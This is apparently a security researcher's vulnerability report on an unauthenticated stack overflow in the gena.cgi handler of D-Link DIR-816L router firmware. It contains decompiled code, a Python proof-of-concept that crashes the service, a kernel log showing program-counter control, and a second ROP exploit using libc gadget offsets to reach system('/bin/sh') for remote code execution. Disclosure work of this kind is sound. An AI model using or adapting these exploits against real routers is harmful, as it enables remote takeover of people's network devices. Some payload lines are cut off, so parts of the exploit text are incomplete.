

# DIR-816L stack overflow(gena.cgi)

## D-Link DIR-816L Unauthorized Stack Overflow

**Vendor:** D-Link

**Firmware version:** DIR816L\_REVB\_FW\_2\_06\_b09\_beta

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**Vendor Homepage:** <https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-816L>

### Detailed description

Inside the `genacgi_main` function, `REQUEST_URI` is an externally controllable input. when `service=UNSUBSCRIBE` jump to the `sub_4134E0` function, the variables `SERVER_ID` and `HTTP_SID` within this function are also externally controllable input. On line 11 in the `sub_4134E0`, the use of `sprintf` for string

concatenation introduces a stack overflow vulnerability.

```
24     v9 = v4;
25     ++a2;
26     ++v4;
27     _dtrace(20, "%02d: %s\n", v9, v8);
28 }
29 cgibin_dumpenv(a3);
30 v10 = getenv("REQUEST_METHOD");
31 if ( !v10 )
32 {
33     v11 = "%s: no REQUEST_METHOD\n";
34 LABEL_9:
35     v15 = -1;
36     _dtrace(40, v11, "genacgi_main");
37     goto LABEL_16;
38 }
39 v12 = getenv("REQUEST_URI");
40 v13 = strchr(v12, 63);
41 v14 = v13;
42 if ( !v13 || strcmp(v13, "?service=", 9u) )
43 {
44     v11 = "%s: no service!\n";
45     goto LABEL_9;
46 }
47 v16 = v14 + 9;
48 if ( !strcmp(v10, "SUBSCRIBE") )
49 {
50     v17 = sub_413060(v16);
51 LABEL_14:
52     v15 = v17;
53     goto LABEL_16;
54 }
55 if ( !strcmp(v10, "UNSUBSCRIBE") )
56 {
57     v17 = sub_4134E0(v16);
58     goto LABEL_14;
59 }
60 _dtrace(10, "%s: unknown REQUEST_METHOD[%s]\n", "genacgi_main", v10);
61 v15 = -1;
62 LABEL_16:
63 v18 = fopen("/dev/console", "w");
64 if ( v18 )
65     fclose(v18);
66 return v15;
67 }

1 int __fastcall sub_4134E0(const char *a1)
2 {
3     char *v2; // $v0
4     char s[512]; // [sp+20h] [-208h] BYREF
5     char *v5; // [sp+220h] [-8h]
6
7     if ( !getenv("SERVER_ID") && !getenv("HTTP_SID") && !getenv("HTTP_CALLBACK") && !getenv("HTTP_NT") )
8     {
9         v5 = getenv("SERVER_ID");
10        v2 = getenv("HTTP_SID");
11        sprintf(s, "%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n", "/htdocs/upnp/run.NOTIFY.php", v5, a1, v2);
12        _dtrace(10, "%s: buf=[%s]\n", "handle_unsubscribe", s);
13        xmldbc_ephp(0, 0, s, stdout);
14    }
15    else
16    {
17        cgibin_print_http_status(400, "", "");
18    }
19    return 0;
20 }
```

# POC

```
1  from socket import *
2  from os import *
3  from time import *
4
5  request = b"UNSUBSCRIBE /gena.cgi?service=0 HTTP/1.1\r\n"
6  request += b"Host: 192.168.0.1:49152\r\n"
7  request += b"SID:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
8
9  s = socket(AF_INET, SOCK_STREAM)
10 s.connect((gethostbyname("192.168.0.1"), 49152))
11 s.send(request)
12
13
14 response = s.recv(1024)
15 print(response)
```

Python

Version:

DEVICE INFORMATION
All of your Internet and network connection details are displayed on this page. The firmware version is also displayed here.
GENERAL
<b>Time :</b> 01/01/2000 09:41:07 <b>Firmware Version :</b> 2.06beta Mon 12 Oct 2015 <b>mydlink Service :</b> Non-Registered

```

root@leo-virtual-machine:/home/leo/exp# python3 exp_gena.py
b'HTTP/1.1 412 Precondition Failed\r\nServer: WebServer\r\nDate: Sat, 01 Jan 2000 02:24:24 GMT\r\nTransfer-Encoding: chunked\r\n\r\n'
root@leo-virtual-machine:/home/leo/exp#
[ 2786.527834] firmadyne: sys_socket[PID: 27275 (gena.cgi)]: family:1, type:2, protocol:0
[ 2786.565803]
[ 2786.565803] do_page_fault(): sending SIGSEGV to gena.cgi for invalid read access from 78787878
[ 2786.566471] epc = 78787878 inra = 78787878 in
[ 2786.566875]
[ 2786.567179] potentially unexpected fatal signal 11.
[ 2786.567564] CPU: 0 PID: 27275 Comm: gena.cgi Not tainted 4.1.17+ #17
[ 2786.567873] task: 8e42f518 ti: 8e48c000 task.ti: 8e48c000
[ 2786.568022] $ 0 : 00000000 77ddd2bc 00000000 00000000
[ 2786.568242] $ 4 : 00000004 77ddd298 00000000 00000000
[ 2786.568474] $ 8 : 77d71678 77d6c678 00000001 00000000
[ 2786.568897] $12 : 636f6e64 77de24e0 00000000 0041b310
[ 2786.569038] $16 : 78787878 78787878 78787878 7ff4a4cc
[ 2786.569175] $20 : 00429fa8 77d9d8e0 7ff4a408 007ed518
[ 2786.570158] $24 : 00000011 77d75a00
[ 2786.570586] $28 : 77de24e0 7ff4a3c0 00000018 78787878
[ 2786.570781] Hi : 000001fc
[ 2786.570892] Lo : 00001a5f
[ 2786.571217] epc : 78787878 0x78787878
[ 2786.571375] ra : 78787878 0x78787878
[ 2786.571490] Status: 0000a413 USER EXL IE
[ 2786.571718] Cause : 10800008
[ 2786.571811] BadVA : 78787878
[ 2786.571912] PrId : 00019300 (MIPS 24Kc)

```

## Statement

I confirm that the information in this report is true and accurate, and it is intended solely for security research and vulnerability remediation purposes, not for malicious use.

**POC that can execute arbitrary code**

Python

```
1  from socket import *
2  from os import *
3  from time import *
4
5  from pwn import p32
6
7
8  first_scandir_add_stack = 0x00012984 #0x7f783984
9  binsh = 0x0005C018
10 system = 0x00052510
11 libc_base = 0x77f6c000
12 mov_s1_a0_move_s5_t9_jalr_t9 = 0x0001A6DC
13 s0 = libc_base + system
14 s1 = libc_base + binsh
15 s2 = 0x7fffffff
16 s3 = 0x7fffffff
17 s4 = 0x7fffffff
18 s5 = libc_base + system
19 s6 = 0x7fffffff
20 s7 = 0x7fffffff
21 ra = libc_base + mov_s1_a0_move_s5_t9_jalr_t9
22 jump_scandir = libc_base + first_scandir_add_stack
23 add_stack_run = libc_base + 0x00017D68
24
25 request = b"UNSUBSCRIBE /gena.cgi?service=0 HTTP/1.1\r\n"
26 request += b"Host: 192.168.0.1:49152\r\n"
27 request += b"SID:
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaakaaalaaamaaanaaaooaaapaac
    p32(jump_scandir, endian='big') + b'aaaabaaacaaadaaaeaaafaaagaa
28
29 s = socket(AF_INET, SOCK_STREAM)
30 s.connect((gethostbyname("192.168.0.1"), 49152))
31 s.send(request)
32
33
34 response = s.recv(1024)
35 print(response)
36
```